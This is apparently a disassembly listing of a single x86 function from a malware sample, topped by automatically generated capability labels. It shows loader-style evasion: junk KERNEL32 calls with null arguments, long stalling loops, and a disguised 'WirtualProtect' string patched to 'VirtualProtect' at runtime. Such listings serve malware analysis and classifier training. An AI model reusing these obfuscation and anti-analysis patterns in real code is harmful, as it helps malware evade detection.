Function at 0x41f6e0
Capabilities:
Accept command line arguments
Identify system language via api
Read .ini file
Set current directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x8c0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLocalTime]
push edi
mov dword [esp + 0x14], 0
mov edi, dword [esp + 0x14]
cmp dword [0x5e160e4], 0xfc
jne 0x41f733
lea eax, [esp + 0x18]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
push 0
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
push 0
call esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x5e160e4], 0x1264
jne 0x41f76c
push 0
call esi
call ebx
push 0
push 0
lea ecx, [esp + 0xd8]
push ecx
push 0
push 0
call ebp
push 0
push edi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferW]
mov eax, dword [esp + 0x14]
cmp eax, 0x18f9a6
jle 0x41f781
cmp dword [esp + 0x34], 0x8a392
jne 0x41f78d
inc eax
cmp eax, 0x3532b7b1
mov dword [esp + 0x14], eax
jl 0x41f70e
push 0x5e160e8
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x65f7
jne 0x41f7c1
push str.__s__d__f
push 0
call fcn.00403da0
add esp, 8
lea edx, [esp + 0x48]
push edx
call fcn.00401e90
lea eax, [esp + 0x48]
call fcn.00401ae0
mov edi, dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
xor esi, esi
nop
cmp dword [0x5e160e4], 0x123f
jne 0x41f7e6
push 0
push 0
push 0
push 0
call edi
cmp esi, 0x291c7
jne 0x41f7f8
mov eax, dword [0x42d47c]
mov dword [0x5e160e4], eax
cmp dword [0x5e160e4], 0x625
jne 0x41f80e
push 0
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x499677
jl 0x41f7d0
add dword [0x5e160e4], 0xa2401
push 0x427494
push 0x42e570
mov byte [0x42e570], 0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x42e570
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x5e160e0], eax
xor esi, esi
jmp 0x41f860
cmp dword [0x5e160e4], 0x262
jne 0x41f87b
push 0
lea ecx, [esp + 0x18]
push ecx
push 0
push 0
push 0
call edi
cmp esi, 0x5aa0c
jne 0x41f893
mov edx, dword [0x5e160e4]
push edx
push 0
call ebx
mov dword [0x5d6540c], eax
inc esi
cmp esi, 0x673996
jl 0x41f860
mov edi, dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
mov ebx, dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
mov ebp, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
xor esi, esi
cmp dword [0x5e160e4], 0x1266
jne 0x41f8ca
push 0
push 0
push 0
push 0
call edi
push 0
call ebx
cmp esi, 0x171922
jne 0x41f8dc
mov eax, dword [0x42d3a8]
mov dword [0x5fca058], eax
cmp dword [0x5e160e4], 0x9b2
jne 0x41f8f0
push 0
push 0
push 0
call ebp
inc esi
cmp esi, 0x807b1d
jl 0x41f8b0
mov eax, dword [0x5e160e4]
xor esi, esi
test eax, eax
jbe 0x41f95e
mov edi, dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov ebp, dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
cmp eax, 0xc29
jne 0x41f92b
push 0
push 0
call edi
call ebx
push 0
push 0
call ebp
call fcn.0041f350
cmp dword [0x5e160e4], 0x75d
jne 0x41f954
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov eax, dword [0x5e160e4]
inc esi
cmp esi, eax
jb 0x41f916
mov edi, dword [sym.imp.KERNEL32.dll_AddAtomA]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov ebp, dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
xor esi, esi
jmp 0x41f979
mov eax, dword [0x5e160e4]
cmp eax, 0x94d
jne 0x41f9a9
push 0
call edi
push 0
push 0
push 0
call ebx
xor edx, edx
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
mov word [esp + 0x18], cx
mov word [esp + 0x1a], dx
mov ecx, dword [esp + 0x18]
push ecx
push edx
push edx
push edx
call ebp
cmp esi, 0x75ec5
jne 0x41f9c1
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x5e160e0], eax
inc esi
cmp esi, 0x17584b
jl 0x41f974
push str.WirtualProtect
push 0x42e570
mov byte [0x42e570], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov byte [0x42e570], 0x56
call fcn.0041f300
call fcn.0041f660
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleMode]
mov ebp, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalUnlock]
xor esi, esi
jmp 0x41fa10
cmp dword [0x5e160e4], 0x768
jne 0x41fa2a
push 0
push 0
call edi
push 0
call ebp
push 0
call ebx
cmp esi, 0x4f3b6
jne 0x41fa37
call fcn.0041f330
inc esi
cmp esi, 0x270c5f
jl 0x41fa10
mov esi, dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
mov edi, 0xdd9a7
jmp 0x41fa50
cmp dword [0x5e160e4], 0xfe9
jne 0x41fa65
lea edx, [esp + 0x18]
push edx
push 0
call esi
sub edi, 1
jne 0x41fa50
call fcn.0041f340
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret